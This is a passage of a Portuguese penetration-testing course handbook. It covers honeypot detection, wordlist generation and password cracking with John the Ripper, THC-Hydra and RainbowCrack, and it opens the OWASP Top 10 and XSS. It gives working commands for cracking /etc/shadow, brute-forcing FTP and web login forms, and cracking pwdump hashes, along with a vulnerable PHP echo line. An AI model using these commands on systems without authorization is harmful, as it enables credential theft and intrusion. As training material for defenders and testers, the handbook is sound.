11.3 Detectando Honeypots

Dificilmente uma organização ou empresa que esteja contratando profissionais pararealizar um pentest, possui um honeypot em sua rede. Mas ainda assim existe essapossibilidade...

Existem vários tipos de honeypots, mas podemos dividi-los, basicamente, em doisgrandes grupos:

⇒ Honeypot de baixa interatividade

⇒ Honeypot de alta interatividade

O honeypots de baixa interatividade são facilmente detectáveis, bastando utilizarboas ferramentas de varredura, descoberta de vulnerabilidades e exploração, poispor sua limitação de respostas e interação com o atacante, pelas respostas transmi-tidas ao atacante, esse último conseguirá perceber que o alvo não é uma máquinareal.

Já com os honeypots de alta interatividade, a coisa muda de figura, pois suas respos-tas são mais consistentes e o comportamento é bem próximo de um servidor real,caso esteja bem configurado.

Com os HP de alta interatividade, apenas a experiência e o conhecimento dessasarmadilhas podem permitir ao pen-tester descobrir e detectar essas armadilhas parainvasores. No entanto, não aconselho perder muito tempo tentando detectar honey-pots e definir se um servidor que está tentando explorar é um HP ou não. Deixe queisso seja consequência de seu trabalho, e não o objetivo principal.

PenTest - Segurança Hacker Página 131

Linux Force – www.linuxforce.com.br Ignorando Proteções

Nmap, Nessus e OpenVas são ótimas ferramentas que podem ser utilizadas na de-tecção de honeypots.

PenTest - Segurança Hacker Página 132

12 Tecnicas de Forca Bruta

12.1 Brute Force

Uma das mais conhecidas técnicas de invasão de sistemas é, sem dúvida, o bruteforce. O método de funcionamento de um ataque desse tipo é muito simples: sãogeradas várias tentativas de conexão a partir do nome de um provável usuário damáquina alvo. A técnica consiste em gerar várias combinações de senhas para esseusuário, na tentativa de ”adivinhar” a senha dele.

Também podemos alternar o nome do usuário, fazendo brute force de usuário esenha. Para isso, podemos obter um arquivo chamado “wordlist”, no qual podemosgerar diversas combinações possíveis de senhas para testar com o brute force.

Baseados nisso, veremos algumas ferramentas para realizar esse tipo de teste.

12.2 Wordlist

Uma boa wordlist é fundamental para o sucesso de um ataque de brute force.

É possível comprar wordlists, fazer download ou até mesmo gerar listas de palavrasque serão usadas pelas ferramentas de brute force.

12.2.1 Geração de Wordlist

Existem diversas ferramentas que auxiliam na geração de uma wordlist.

Abaixo listaremos algumas das ferramentas que podem ser usadas para a realizaçãodessa tarefa.

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

1 # crunch 5 8 12345678 > /tmp/wordlist -numeric

Onde:

5 - tamanho mínimo da palavra

8 - tamanho máximo da palavra

12345678 - Caracteres que serão usados para a geração da lista

Temos mais algumas opções a definir com esta ferramenta, mas desta vez vamostentar criar combinações mais próximas do ”mundo real” onde muitas vezes, ou porfalta de criatividade ou medo de esquecer a senha as pessoas acabam associandoao próprio nome uma data, casamento, namoro, nascimento, aniversário do papa-gaio, etc. Vamos ver como poderíamos ”adivinhar” a senha o Júnior.

1 # crunch 10 10 1234567890 -t junior@@@@ > /tmp/juniorlist

Vamos fazer uso de outra ferramenta para gerar wordlists, no caso, a ferramentawyd. A diferença dessa ferramenta para o crunch é que essa utiliza uma maneiramais ”inteligente” de gerar as combinações.

Vamos gerar a wordlist com baseado em um arquivo HTML de um site qualquer quefizemos download:

1 # wyd.pl -o /tmp/wordlist ./ meu_dump.html

Eliminando as palavras repetidas:

1 # cat /tmp/wordlist | sort -u > /tmp/wordlist -inteligente

O wyd consegue gerar combinações a partir de arquivos em texto puro, html, php,doc, ppt, pdf, odt, ods e odp.

PenTest - Segurança Hacker Página 134

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

12.3 John The Ripper

O John é um dos utilitários mais conhecidos para decifrar senhas no Linux, poisconsegue decifrar algoritmos usados pelo sistema como o MD5 e outras. Toda aconfiguração do John é feita em um arquivo texto chamado john.conf em sistemasUnix ou john.ini no Windows, por exemplo. Neste arquivo você consegue definirregras para a descoberta de senhas, wordlists, parâmetros para os modos e atédefinir um novo modo de descoberta de senhas.

Este arquivo é dividido em várias seções. Todas as seções começam com uma linhacom seu nome entre colchetes ( [ ] ). As opções destas seções são definidas emvariáveis de modo bem simples, como em:

⇒ variável = valor

Os nomes de seções e variáveis são case-insensitive, ou seja, SECAO1 e secao1são a mesma seção e VAR1 e var1 são a mesma variável. Os caracteres # e ; sãocompletamente ignorados, assim como linhas em branco.

Abaixo estão as explicações das opções dividas por seção:

Options:

Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar,basta especificar o caminho correto nessa variável;

Idle: Configura o John para usar seu CPU quando este estiver inativo. Diminui odesempenho da quebra da senha, porém não impacta tanto no desempenhode outros programas. O padrão desta opção é N (desabilitado);

Save: Intervalo no qual o software irá gravar seu progresso para no caso de umainterrupção ele possa recomeçar novamente de onde havia parado;

Beep: Emite um bip quando uma senha é quebrada.

PenTest - Segurança Hacker Página 135

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

List.Rules:Single

Nesta seção ficam as regras default do software para a quebra das senhas. Sãoregras como substituição de strings, escrita 1337 e outras.

List.Rules:Wordlist

Nesta seção ficam as regras de substituição de caracteres, modificações de palavras,etc quando se está usando uma wordlist para tentar quebrar as senhas do arquivo.

List.Rules:NT

Nesta seção ficam as regras utilizadas quando se está quebrando senhas cifradasutilizando o algoritmo NTLM (Windows).

Incremental:*

Aqui ficam as regras para o tipo de quebra de senhas chamado Incremental (todosos "tipos"de tentativas de quebra de senha que o John utiliza serão explicados maisadiante neste documento).

List.External:*

São alguns filtros pré-definidos para substituição de palavras, eliminação de caracte-res indesejados, etc.

12.3.1 Modos

Jhon the Ripper utiliza alguns modos para que consiga otimizar a quebra da senha.Estes modos são explicados a seguir:

PenTest - Segurança Hacker Página 136

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

Modo Wordlist - Para utilizar esse método você vai precisar de uma wordlist. Exis-tem vários lugares na Internet que possuem milhares de wordlists disponíveis gra-tuitamente, é só dar uma olhada no Google que você irá encontrar várias. Para teajudar, aqui no item "Wordlists"você encontra vários links para wordlists disponíveisna Internet. Lá você também encontra algumas dicas de como organizar a sua lista.Mas vale lembrar que não é bom que você tenha entradas duplicadas na sua lista,o Jhon the Ripper não vai fazer absolutamente nada com a sua wordlist antes decomeçar a testar as palavras que tem nela.

Este é o modo mais simples suportado pelo John. Para utilizá-lo você só especificauma wordlist e algumas regras para ele fazer combinações das palavras que ele en-contrar na lista que você especificou. Quando utilizando determinados algoritmos, oJhon the Ripper se beneficiará se você colocar senhas com tamanhos mais ou me-nos parecidos perto umas das outras. Por exemplo, seria interessante você colocaras senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlistpadrão a ser utilizada pelo John é definida no arquivo john.conf.

Modo Single Crack - É neste modo que você deveria começar a tentar quebrar umasenha. Aqui, além de várias regras de handling serem aplicadas, o Jhon the Rippervai utilizar mais informações como o nome completo do usuário e seu diretório homepara tentar descobrir qual é a senha. Este modo é muito mais rápido que o modo"Wordlist".

Modo Incremental - Este é o modo mais poderoso do Jhon the Ripper. Nele serãotentadas todas as combinações possíveis de caracteres para tentar quebrar a senhacifrada. Dada a grande quantidade de combinações possíveis, é recomendável quese defina alguns parâmetros (como tamanho da senha ou conjunto de caracteres aserem utilizados) para que você não fique esperando pela senha ser quebrada pormuito tempo.

Todos os parâmetros para este modo são definidos no arquivo john.conf, nas seçõescomeçadas com Incremental no nome.

Modo External - Esse modo é bastante complexo. Nele você pode definir regraspróprias para o John seguir ao tentar quebrar uma senha. Tais regras são definidasem uma linguagem parecida com a C no arquivo de configuração do programa. Aoser especificado este modo ao tentar quebrar uma senha na linha de comando, oJtR vai pré-processar as funções que você escreveu para este modo e utilizá-las. Adocumentação de uso desse modo pode ser obtida em:

http://www.openwall.com/john/doc/EXTERNAL.shtml

PenTest - Segurança Hacker Página 137

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

12.3.2 Linha de Comando

O John suporta várias opções de linha de comando, geralmente usadas para ativardeterminados modos de uso do software. Preste bastante atenção no case dasopções, o JtR é case-sensitive! Uma característica muito legal dele é que é possívelabreviar as opções da linha de comando desde que não haja ambigüidade (mais oumenos da maneira como ocorre no shell de roteadores Cisco, por exemplo).

Abaixo vou dar uma explicação básica das opções que o John suporta. Se você seesquecer de alguma opção quando estiver utilizando o JtR, é só digitar "john"no ter-minal e todas as opções serão impressas para você. As opções podem ser definidasutilizando – ou - e seus parâmetros são definidos utilizando = ou :.

–single: Define o modo "single"para quebrar as senhas.

–wordlist=ARQUIVO: Define o modo "wordlist"para quebrar as senhas e define oarquivo ARQUIVO como sendo de onde as senhas serão lidas. Aqui você podeutilizar também a opção –stdin para dizer que as palavras virão da entrada padrão.

–incremental: Define que será utilizado o modo "incremental"para quebrar a senhas.Opcionalmente você pode definir que tipo de modo incremental será utilizado fazendo–incremental[=MODO].

–external=MODO: Define que será utilizado o modo external.

–rules: Habilita as regras para wordlist definidas em john.conf quando se utiliza omodo wordlist.

–stdout[=LENGTH]: Quando utilizado, faz com que o JtR imprima as possíveis se-nhas direto na saída padrão ao invés de tentá-las contra um hash. Se você definiro parâmetro LENGTH só serão impressas senhas com caracteres até a quantidadeespecificada em LENGTH.

–restore[=NOME]: Faz com que uma sessão que foi interrompida anteriormente con-tinue de onde parou. Se você definir um nome diferente para a sessão, especifiqueo nome dela na linha de comando junto com esta opção. A sessão fica gravada nahome do John, em um arquivo chamado john.rec.

–session=NOME: Define o nome da sessão que pode ser utilizado com a opçãorestore. A esse nome será automaticamente adicionado a extensão .rec.

–status[=NOME]: Mostra o status da última sessão ou, se definido o nome da ses-são, da sessão especificada.

PenTest - Segurança Hacker Página 138

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

–make-charset=ARQ: Gera um arquivo charset para ser utilizado no modo "incre-mental".

–show: Mostra as senhas do arquivo que você especificou para o JtR que já foramquebradas. Esta opção é especialmente útil quando você tem outra instância do JtRrodando.

–test: Esta opção faz um benchmark de todos os algoritmos compilados no softwaree os testa para saber se estão funcionando corretamente. Esta opção já foi explicadaanteriormente.

–users=[-]Nome do usuário ou UID: Com esta opção você pode especificar parao JtR quais usuário você quer tentar quebrar a senha. Você pode utilizar o nomede usuário ou o UID dele e pode separar vários usuários utilizando uma vírgula.Utilizando o -"antes do nome do usuário, você faz com que o John ignore aqueleusuário ou UID.

–groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usuáriosparticipantes de um grupo especificado (ou ignorá-los, se você utilizar o -").

–shells=[-]SHELL: Apenas tenta quebrar as senhas dos usuários cujas shells sejamiguais à que foi especificada por você na linha de comando. Utilizando o -"você ignoraas shells especificadas.

–salts=[-]NUMERO: Deixa você especificar o tamanho das senhas que serão (ounão) testadas. Aumenta um pouco a performance para quebrar algumas senhas,porém o tempo total utilizando esta opção acaba sendo o mesmo.

–format=FORMATO: Permite a você definir o algoritmo a ser usado para quebrara senha, ignorando a detecção automática do software. Os formatos suportadosatualmente são DES, BSDI, MD5, AFS e LM. Você também pode utilizar esta opçãoquando estiver utilizando o comando –test, como já foi explicado anteriormente nestetexto.

–save-memory=1, 2 ou 3: Esta opção define alguns níveis para dizer ao John comqual nível de otimização ele irá utilizar a memória. Os níveis variam de 1 a 3, sendo1 a mínima otimização. Esta opção faz com que o JtR não afete muito os outrosprogramas utilizando muita memória.

PenTest - Segurança Hacker Página 139

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

12.3.3 Usando o Jhon the Ripper

Para executar o John sobre arquivos de senha de Linux, teremos que passar para eleas senhas estão utilizando o esquema de shadow no sistema. Para isso, utilizaremoso executável ”unshadow”, que está presente junto com o John:

1 #./ unshadow /etc/passwd /etc/shadow > password

Agora podemos executar o John referenciando o nosso arquivo password

1 #./john password

Também podemos passar na sintaxe um parâmetro para que o John pegue a lista depalavras de outro arquivo (por exemplo, as wordlists que geramos anteriormente):

1 # ./john -wordfile :/tmp/juniorlist password

O John gera dois arquivos de log: o ”john.pot”e o ”restore”. No primeiro arquivoestão as senhas já decifradas, para que em uma nova execução ele não comece tudodo zero. Já o arquivo ”restore” irá conter informações sobre o estado de execuçãodo John para continuar executando uma sessão interrompida (por exemplo, quandoteclamos ”CTRL+C” durante a execução). Se você quiser retomar a execução doponto onde parou, basta executar:

1 #./john -restore

Também podemos exibir as senhas já descobertas pelo programa usando a opçãoshow:

1 #./john -show arquivo_passwd

É importante ressaltar que o John The Ripper possui módulos adicionais que não sãocompilados durante uma compilação padrão. Esses módulos podem ser encontradosno próprio site da ferramenta, através do endereço: http://www.openwall.com/john/.Os módulos adicionais se encontram no final da página inicial. Como exemplo, po-demos citar o módulo para quebrar senhas de Lotus Domino e MySQL.

PenTest - Segurança Hacker Página 140

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

12.4 THC-Hydra

O hydra é um dos utilitários que abrangem uma grande quantidade de serviçosque podem ser alvos de brute force, entre eles: TELNET, FTP, Firebird, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY- NTLM,HTTP-FORM-GET, HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORM- POS-TLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3 NTLM, IMAP,IMAP-NTLM, NCP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SMTP-AUTH NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC,POP3 e VMware-Auth. Além disso, o hydra fornece suporte a conexões via proxy. Oxhydra é um utilitário gtk para uso do hydra na interface gráfica.

12.4.1 Usando o HydraGTK

Para baixar o HydraGTK, basta acessar o endereço:

http://freeworld.thc.org/releases/hydra-5.8-src.tar.gz

Após baixar o arquivo, execute os seguintes comandos para descompactá-lo e compilá-lo:

1 #tar -xzvf hydra -5.8-src.tar.gz2 #cd hydra -5.8-src3 #./ configure; make; make install4 #cd hydra -gtk5 #./ configure; make; make install

O HydraGTK vem instalado por padrão no BackTrack.

12.4.2 Hydra no terminal

Exemplo do hydra sendo usado contra o serviço FTP:

PenTest - Segurança Hacker Página 141

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

1 #./hydra -L /tmp/usuarios -P /tmp/pass -o /tmp/resultado -v192.168.0.100 ftp

Em ”/tmp/usuarios” temos a userlist de ftp, em ”/tmp/pass” temos a wordlist para osusuários e em ”/tmp/resultado” o resultado do brute force no serviço.

Vejamos o conteúdo do arquivo de saída do brute force:

1 #cat /tmp/resultado

O THC-Hydra também pode ser usado para realizar ataques contra formulários web.

Para isso, podemos usar a opção http-post-form ou http-get-form, dependendo dométodo usado para envio dos dados pelo formulário web.

Vamos analisar o comando seguinte:

1 #hydra -l hydra -P password.lst -s 80 <IP> http -post -form "/administrador/index.php:usuario =^USER^&senha=^PASS^& submit=Login:Incorrect Username"

O parâmetro USER será substituído pelos usuários, no nosso caso, o valor passadopara a opção –l, no nosso caso o valor “hydra”, e o parâmetro PASS será substi-tuído pelos valores passados na opção –P, no nosso caso, uma wordlist chamadapassword.lst.

1 #hydra -l admin -P wl.txt -o resultado.txt 192.168.3.106 http -get -form "/bf/bf.php:usuario =^USER^&senha=^PASS^& submit=Enviar:incorreta"

12.5 Rainbow Crack

RainbowCrack é um programa que gera rainbow tables para serem usadas na que-bra de senhas. O RainbowCrack difere dos programas de força bruta convencionais,

PenTest - Segurança Hacker Página 142

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir dras-ticamente o tempo necessário para quebrar senhas.

Um ótimo programa para utilizarmos para quebrar senhas Windows com rainbowtables é o Ophcrack

Para baixar Rainbow Tables:

http://rainbowtables.shmoo.com/

http://www.ethicalhacker.net/content/view/94/24/

12.6 Utilizando o Rainbow Crack para criação deRainbow Tables

12.6.1 Introdução

RainbowCrack é uma ferramenta cujo objetivo é quebrar hash de senhas.

O método utilizado pela ferramenta é o brute force. Nesse método, todas as senhasem texto plano e seus hashs correspondentes são computados um por um. O hashcomputado é comparado com o hash alvo. Se um deles for igual, a senha em textoplano é encontrada. Do contrário, o processo continua até finalizar todas as senhaspossíveis.

No método time-memory, a tarefa de computar hashs é feita através do armaze-namento dos resultados no que chamamos de "rainbow table". Depois disso, oshashes podem ser acessados a partir das rainbow tables sempre que necessário. Oprocesso pré-computacional precisa de muito tempo para criar as chaves que serãoposteriormente utilizadas. No entanto, uma vez que esse processo tenha terminado,a performance da rainbow tables pode ser de centenas a milhares de vezes maior doque o método de brute force.

PenTest - Segurança Hacker Página 143

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

Vamos ver passo a passo como utilizar o software RainbowCrack. Esse softwareinclui três ferramentas que devem ser usadas em sequência para fazer a coisa funci-onar:

Passo 1: usar o rtgen para gerar as rainbow tables.

O programa rtgen precisa de diversos parâmetros para gerar uma rainbow table, e asintaxe do comando é:

1 rtgen hash_algorithm charset plaintext_len_min plaintext_len_maxtable_index chain_len chain_num part_index

Explicação dos parâmetros:

hash_algorithm O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usadona rainbow table.

charset A configuração dos caracteres (charset) do texto plano na rainbow tables.Todos os charsets possíveis estão definidos no arquivo charset.txt.

plaintext_len_min e plaintext_len_max Estes dois parâmetros definem o tamanhopossível de todo o texto plano na rainbow tables. Se o charset é numérico, o plain-text_len_min é 1, e o plaintext_len_max é 5, então a string "12345"será incluída natabela, mas "123456"não.

table_index, chain_len, chain_num e part_index Estes quatro parâmetros sãomais difíceis de explicar em poucas palavras. Ler e compreender o artigo originalde Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o signifi-cado exato. O table_index está relacionado ao "reduce function"que é utilizado narainbow table. O chain_len é o tamanho de cada "rainbow chain"na rainbow table.Uma "rainbow chain"configurada como 16 bytes é a menor unidade em uma rain-bow table. Uma rainbow tables contém diversas rainbow chains. O chains_num éo número de rainbow chains em uma rainbow table. O parâmetro part_index deter-mina como o "start point"em cada rainbow chain é gerado. Deve ser um número (oucomeçar com um número).

Os valores corretos de todos os parâmetros dependem do que vocês precisa, e sele-cionar bons parâmetros requer um bom entendimento do algoritmo de time- memorytradeoff.

PenTest - Segurança Hacker Página 144

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

Agora é hora de criar uma rainbow table.

Altere o diretório corrente em seu terminal de comando para o diretório do Rainbow-Crack, e execute o comando seguinte:

1 # cd /pentest/passwords/rcrack2 # rtgen md5 loweralpha -numeric 1 7 0 3800 33554432 0

Esse comando leva 4 horas para ser completado em um computador com um pro-cessador Core2 Duo E7300. É possível parar a execução do mesmo a qualquermomento pressionando Ctrl+C. Da próxima vez que o comando for executado com amesma linha de comando, ele continuará a partir do ponto em que foi interrompidopara continuar com a geração da tabela.

Quando o comando tiver terminado, um arquivo com o nome de "md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt"e tamanho de 512 MB será criado. O nome domesmo é simplesmente a linha de comando utilizada com os parâmetros interligados,com a extensão "rt". O programa rcrack que será explicado mais a frente, precisadessas informações para saber quais os parâmetros existentes na rainbow table.Portanto, não renomeie o arquivo.

As demais tabelas podem ser geradas da mesma forma, com os comandos:

1 # rtgen md5 loweralpha -numeric 1 7 1 3800 33554432 02 # rtgen md5 loweralpha -numeric 1 7 2 3800 33554432 03 # rtgen md5 loweralpha -numeric 1 7 3 3800 33554432 04 # rtgen md5 loweralpha -numeric 1 7 4 3800 33554432 05 # rtgen md5 loweralpha -numeric 1 7 5 3800 33554432 0

Agora, o processo de criação da rainbow table está completo.

Passo 2: usar o rtsort para organizar as rainbow tables

As rainbow tables geradas pelo programa rtgen precisam de um pós- processamentopara tornar sua consulta mais fácil e rápida. O programa rtsort é utilizado para orga-nizar todas as rainbow chains em uma rainbow table.

Utilize os seguintes comandos:

PenTest - Segurança Hacker Página 145

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

123 # rtsort md5\_loweralpha -numeric #1-7\_0\_3800x33554432\_0.rt4 # rtsort md5\_loweralpha -numeric #1-7\_1\_3800x33554432\_0.rt5 # rtsort md5\_loweralpha -numeric #1-7\_2\_3800x33554432\_0.rt6 # rtsort md5\_loweralpha -numeric #1-7\_3\_3800x33554432\_0.rt7 # rtsort md5\_loweralpha -numeric #1-7\_4\_3800x33554432\_0.rt8 # rtsort md5\_loweralpha -numeric #1-7\_5\_3800x33554432\_0.rt

Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execução.O programa rtsort gravará a rainbow table organizada por sobre o arquivo orginal.Não interrompa a execução do comando, do contrário o arquivo original será danifi-cado. Agora o processo de organização das rainbow tables está completo.

Passo 3: usar o rcrack para buscar o conteúdo das rainbowtables

O programa rcrack é utilizado para acessar as rainbow tables. Ele aceita apenasrainbow tables organizadas.

Assumindo que as rainbow tables organizadas estejam no mesmo diretório do pro-grama, para quebrar hashes únicos a linha de comando será:

1 # rcrack *.rt -h aqui_vai_o_hash_para_ser_quebrado

O primeiro parâmetro especifica o caminho para buscar nos arquivos das rainbowtables. Os caracteres "*"e "?"podem ser usados para especificar vários arquivos.

Normalmente isso leva algumas dezenas segundos para finalizar, se a string existirdentro do "range"do charset e tamanho de strings selecionados. Do contrário, leva-se muito mais tempo para buscar por todas as tabelas, apenas para não encontrarnada.

Para quebrar múltiplos hashs, coloque todos os hashs em um arquivo de texto, comum hash por linha. E então especifique o nome do arquivo na linha de comando doprograma rcrack:

PenTest - Segurança Hacker Página 146

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

1 # rcrack *.rt -l arquivo_com_lista_de_hashes

Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui umsuporte especial para o parâmetro -f". Um arquivo de dump de hash no formatopwdump é necessário como input para o programa rcrack. O conteúdo do arquivoparecerá com o seguinte:

1 Administrator :500:1 c3a2b6d939a1021aad3b435b51404ee:e24106942bf38bcf57a6a4b29016eff6 :::

2 Guest :501: a296c9e4267e9ba9aad3b435b51404ee :9d978dda95e5185bbeda9b3ae00f84b4 :::

O arquivo pwdump é a saída de utilitários tais como pwdump2, pwdump3 ou outros.E contém os hashes tanto lm quant ntlm.

Para quebrar hashes lm em arquivos pwdump, use o seguinte comando:

1 # rcrack *.rt -f arquivo_pwdump

O algoritmo de hash lm converte todas as letras minúsculas em strings maiúscu-las; como resultado disso, todas as strings quebradas através do hashe lm, nuncacontém letras minúscula, enquanto que a string original poed conter letras minúscu-las. O programa rcrack tentará corrigir isso em hashes ntlm armazenados no mesmoarquivo e exibir a string original.

OSSTMM Recomenda

• Ataque automatizado de dicionário a pasta de senhas;

• Ataque de força bruta a pasta de senhas;

• Ataque de força bruta em serviços.

• Obter a pasta de senhas do sistema que guarda nomes de usuário e senha;

• Para sistemas Unix, deverão estar em /etc/passwd e/ou /etc/shadow ;

PenTest - Segurança Hacker Página 147

Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta

• Para sistemas Unix que realizam autenticações SMB, pode encontrar as senhasde NT em /etc/smbpasswd;

• Para sistemas NT, deverão estar em /winn/repair/Sam

PenTest - Segurança Hacker Página 148

13 Vulnerabilidades em aplicaçõesweb

13.1 Entendendo a aplicação web

Aplicações web são programas que ficam em um servidor web e executam tarefaspara dar uma resposta ao usuário. Webmails, web fóruns e blogs são exemplos deaplicações web.

Uma aplicação web usa uma arquitetura cliente/servidor, normalmente com um na-vegador web como cliente e o web server como o servidor da aplicação.

O objetivo de tentar explorar uma aplicação web é ganhar acesso a informaçõesconfidenciais. Aplicações web são críticas para a segurança de um sistema porqueusualmente elas estão conectadas com uma base de dados que contém informaçõestais como cartões de crédito e senhas.

Exemplos:

• Webmails

• web fóruns

• Blogs

• Lojas virtuais

13.2 Por que é tão perigoso?

O objetivo de tentar explorar uma aplicação web é ganhar acesso a informaçõesconfidenciais.

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

Aplicações web são críticas para a segurança de um sistema porque usualmenteelas estão conectadas com uma base de dados que contém informações tais comocartões de crédito e senhas.

A maior parte dos ataques atualmente, não são realizados contra a infraestruturaorganizacional, mas sim contra aplicações. E se houver falhas em aplicações WEB,muito possivelmente o atacante conseguirá acesso a todo conteúdo existente noservidor onde a aplicação está hospedada.

Na maioria das vezes, várias aplicações WEB ficam hospedadas em um mesmo ser-vidor, compartilhando da mesma máquina física. Se uma, dessas várias aplicaçõeshospedadas no servidor, tiver falhas graves, que permitam acesso à máquina, to-das as outras serão comprometidas e o atacante também poderá explorar as demaismáquinas acessíveis na rede.

13.3 Principais Classes de Vulnerabilidades

Baseado no TOP 10 OWASP, que é um ranking das 10 maiores vulnerabilidadesWEB, seguem abaixo as vulnerabilidades mais exploradas em aplicações WEB:

A1 – Cross Site Scripting (XSS) Os furos XSS ocorrem sempre que uma aplica-ção obtém as informações fornecidas pelo usuário e as envia de volta ao nave-gador sem realizar validação ou codificação daquele conteúdo. O XSS permiteaos atacantes executarem scripts no navegador da vítima, o qual pode roubarsessões de usuário, pichar sites Web, introduzir worms, etc.

A2 – Falhas de Injeção As falhas de injeção, em especial SQL Injection, são co-muns em aplicações Web. A injeção ocorre quando os dados fornecidos pelousuário são enviados a um interpretador com parte do comando ou consulta.A informação maliciosa fornecida pelo atacante engana o interpretador que iráexecutar comandos mal intencionados ou manipular informações.

A3 – Execução maliciosa de arquivos Os códigos vulneráveis à inclusão remotade arquivos (RFI) permite ao atacante incluir código e dados maliciosos, resul-tando em ataques devastadores, como o comprometimento total do servidor.Os ataques de execução de arquivos maliciosos afeta PHP, XML e todos osframeworks que aceitem nomes de arquivo ou arquivos dos usuários.

A4 – Referência Insegura Direta à Objetos Uma referência direta à objeto ocorrequando um desenvolvedor expõe a referência a um objeto implementado inter-

PenTest - Segurança Hacker Página 150

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

namente, como é o caso de arquivos, diretórios, registros da base de dados ouchaves, na forma de uma URL ou parâmetro de formulário. Os atacantes po-dem manipular estas referências para acessar outros objetos sem autorização.

A5 – Cross Site Request Forgery (CSRF) Um ataque CSRF força o navegador davítima, que esteja autenticado em uma aplicação, a enviar uma requisição pré-autenticada à um servidor Web vulnerável, que por sua vez força o navegadorda vítima a executar uma ação maliciosa em prol do atacante. O CSRF podeser tão poderoso quanto a aplicação Web que ele ataca.

A6 – Vazamento de Informações e Tratamento de Erros Inapropriado As aplica-ções podem divulgar informações sobre suas configurações, processos inter-nos ou violar a privacidade por meio de uma série de problemas na aplicação,sem haver qualquer intenção. Os atacantes podem usar esta fragilidade pararoubar informações consideradas sensíveis ou conduzir ataques mais estrutu-rados.

A7 – Autenticação falha e Gerenciamento de Sessão As credenciais de acessoe token de sessão não são protegidos apropriadamente com bastante freqüên-cia. Atacantes comprometem senhas, chaves ou tokens de autenticação deforma a assumir a identidade de outros usuários.

A8 – Armazenamento Criptográfico Inseguro As aplicações Web raramente utili-zam funções criptográficas de forma adequada para proteção de informaçõese credenciais. Os atacantes se aproveitam de informações mal protegidas pararealizar roubo de identidade e outros crimes, como fraudes de cartões de cré-dito.

A9 – Comunicações inseguras As aplicações freqüentemente falham em cripto-grafar tráfego de rede quando se faz necessário proteger comunicações críti-cas/confidenciais.

A10 – Falha de Restrição de Acesso à URL Frequentemente, uma aplicação pro-tege suas funcionalidades críticas somente pela supressão de informaçõescomo links ou URLs para usuários não autorizados. Os atacantes podem fazeruso desta fragilidade para acessar e realizar operações não autorizadas pormeio do acesso direto às URLs.

PenTest - Segurança Hacker Página 151

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

13.4 A1 – CROSS SITE SCRIPTING (XSS)

O Cross Site Scripting, mais conhecido como XSS, é de fato um subconjunto de in-serções HTML. XSS é a questão de segurança em aplicações web mais prevalente eperniciosa. Os furos XSS ocorrem em aplicações quaisquer que receba dados origi-nados do usuário e o envie ao navegador sem primeiramente validar ou codificandoaquele conteúdo.

O XSS permite atacantes executarem script no navegador da vítima, que pode seqües-trar sessões de usuários, desfigurar web sites, inserir conteúdo hostil, conduzir ata-ques de roubo de informações pessoais (phishing) e obter o controle do navegador dousuário usando um script mal intencionado (malware). O script malicioso é freqüen-temente em Java Script, mas qualquer linguagem de script suportada pelo navegadorda vítima é um alvo potencial para este ataque.

13.4.1 VULNERABILIDADE

Existem três tipos bem conhecidos de XSS: refletido, armazenado e inserção DOM.O XSS refletido é o de exploração mais fácil – uma página refletirá o dado fornecidopelo usuário como retorno direto a ele:

echo $_REQUEST[’userinput’];

O XSS armazenado recebe o dado hostil, o armazena em arquivo, banco de dadosou outros sistemas de suporte à informação e então, em um estágio avançado mostrao dado ao usuário, não filtrado. Isto é extremamente perigoso em sistemas comoCMS, blogs ou fóruns, onde uma grande quantidade de usuários acessará entradasde outros usuários.

Com ataques XSS baseados em DOM, o código Java Script do site e as variáveissão manipulados ao invés dos elementos HTML.

Alternativamente, os ataques podem ser uma mistura ou uma combinação dos trêstipos. O perigo com o XSS não está no tipo de ataque, mas na sua possibilidade.Comportamentos não padrão do navegador pode introduzir vetores de ataque sutis.O XSS é também potencialmente habilitado a partir de quaisquer componentes queo browser utilize.

PenTest - Segurança Hacker Página 152

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

Os ataques são freqüentemente implementados em Java Script, que é uma ferra-menta poderosa de scripting. O uso do Java Script habilita atacante a manipularqualquer aspecto da página a ser renderizada, incluindo a adição de novos elemen-tos (como um espaço para login que encaminha credenciais para um site hostil), amanipulação de qualquer aspecto interno do DOM e a remoção ou modificação deforma de apresentação da página. O Java Script permite o uso do XmlHttpRequest,que é tipicamente usado por sites que usam a tecnologia AJAX, mesmo se a vítimanão use o AJAX no seu site.

